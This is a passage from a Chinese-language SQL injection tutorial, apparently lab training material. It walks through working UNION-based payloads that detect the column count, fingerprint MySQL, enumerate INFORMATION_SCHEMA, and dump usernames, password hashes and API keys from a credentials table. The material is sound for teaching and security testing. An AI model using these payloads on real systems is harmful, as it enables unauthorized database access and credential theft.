接著測試欄位 3 與 4,都成功返回結果。
這表示該資料表正好有 4 個欄位。
使用 UNION
另一種方式是嘗試注入帶有不同欄位數的 UNION 查詢,直到正確為止。此方法會持續出現錯誤,直到欄位數一致時才成功。
cn' UNION select 1,2,3-- -
出現錯誤:SELECT 敘述的欄位數不一致。
接著嘗試四欄位:
cn' UNION select 1,2,3,4-- -
這次成功返回結果,代表確定欄位數為 4。我們可以使用這兩種方式任一種來偵測欄位數。
注入位置的判斷
雖然查詢可能回傳多個欄位,網頁實際顯示的欄位可能只有部分。若我們將資料注入至未顯示的欄位,則無法看到結果。
我們必須找出哪些欄位會顯示在頁面上,以便決定注入位置。在前例中,雖然注入的是 1,2,3,4,但實際頁面只顯示欄位 2、3、4。
這表示欄位 2、3 與 4 會輸出至頁面,我們不應將重要輸出放在第 1 欄。
這也說明了使用數字當垃圾資料的好處:我們能夠輕鬆追蹤每個欄位的輸出位置。
測試可見欄位注入是否成功
我們將 @@version 放在第二欄來確認是否可以取得實際資料:
cn' UNION select 1,@@version,3,4-- -
從圖片中可以看到資料庫版本成功顯示在畫面上,這代表我們已經學會如何編寫 Union SQL Injection 的 Payload,並成功將查詢結果回顯到頁面。
資料庫列舉(Database Enumeration)
在前面的章節中,我們學習了如何使用 MySQL 撰寫各種 SQL 查詢語句並應用於 SQL Injection。本章將實際運用這些技術,從資料庫中取得資料。
MySQL 指紋識別(Fingerprinting)
在列舉資料庫之前,我們通常需要先辨識目前使用的是哪種類型的資料庫(DBMS),因為不同的 DBMS 有不同的查詢語法。
舉例來說,若我們在 HTTP 回應中看到 Web Server 為 Apache 或 Nginx,代表這很可能是 Linux 上的 MySQL。若是 IIS,則有可能是 MSSQL。
為了辨識 DBMS 類型,我們可以使用下列 MySQL 指紋測試語法:
| 語法 | 使用時機 | 預期輸出 | 其他 DBMS 錯誤輸出 |
|---|---|---|---|
SELECT @@version |
當能完整輸出查詢結果時 | MySQL 版本,例如:10.3.22-MariaDB-1ubuntu1 |
在 MSSQL 中會輸出 MSSQL 版本,其他 DBMS 則出錯 |
SELECT POW(1,1) |
只有數值輸出時使用 | 1 |
其他 DBMS 出錯 |
SELECT SLEEP(5) |
盲注/無輸出時使用 | 延遲 5 秒,回傳 0 |
其他 DBMS 不會延遲 |
正如我們在上一節的例子中看到的,當我們嘗試 @@version :
INFORMATION_SCHEMA 資料庫
若要透過 UNION SELECT 查詢從資料表擷取資料,我們需要下列資訊:
- 所有資料庫清單
- 各資料庫中的資料表清單
- 各資料表中的欄位清單
上述資訊可以從 INFORMATION_SCHEMA 這個特殊的資料庫中取得。它包含伺服器上的資料庫與資料表的中繼資料。
舉例來說,若要查詢 my_database 資料庫中 users 表的內容,可以使用:
SELECT * FROM my_database.users;
SCHEMATA(資料庫名稱列舉)
首先,我們查詢 INFORMATION_SCHEMA.SCHEMATA 表中的 SCHEMA_NAME 欄位來獲得所有資料庫名稱:
mysql> SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
+-----------------------+
| SCHEMA_NAME |
+-----------------------+
| mysql |
| information_schema |
| performance_schema |
| ilfreight |
| dev |
+-----------------------+
除了預設的三個資料庫外,我們看到還有 ilfreight 和 dev 這兩個資料庫。
使用 UNION 注入查詢資料庫名稱
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
查詢當前使用的資料庫
cn' UNION select 1,database(),2,3-- -
TABLES(查詢資料表名稱)
接下來我們針對 dev 資料庫查詢其中有哪些資料表。可透過 INFORMATION_SCHEMA.TABLES 資料表中的 TABLE_NAME 和 TABLE_SCHEMA 欄位查詢。
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
where table_schema='dev' 可避免列出所有資料庫的資料表。COLUMNS(查詢欄位名稱)
我們發現 dev 資料庫中有 credentials、posts、framework 和 pages 等表。
假設我們要查詢 credentials 資料表中的欄位,可透過以下語法:
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
我們看到欄位為 username 與 password。
資料擷取(Dump Data)
現在我們已經有足夠資訊來撰寫 UNION 查詢,從 dev 資料庫的 credentials 表中擷取 username 與 password 欄位。
cn' UNION select 1,username,password,4 from dev.credentials-- -
dev.credentials 來指定目標資料表,因為目前查詢的是從 ilfreight 資料庫執行。最終,我們成功擷取 credentials 表中的所有資料,其中包含密碼雜湊值與 API 金鑰等敏感資訊。


























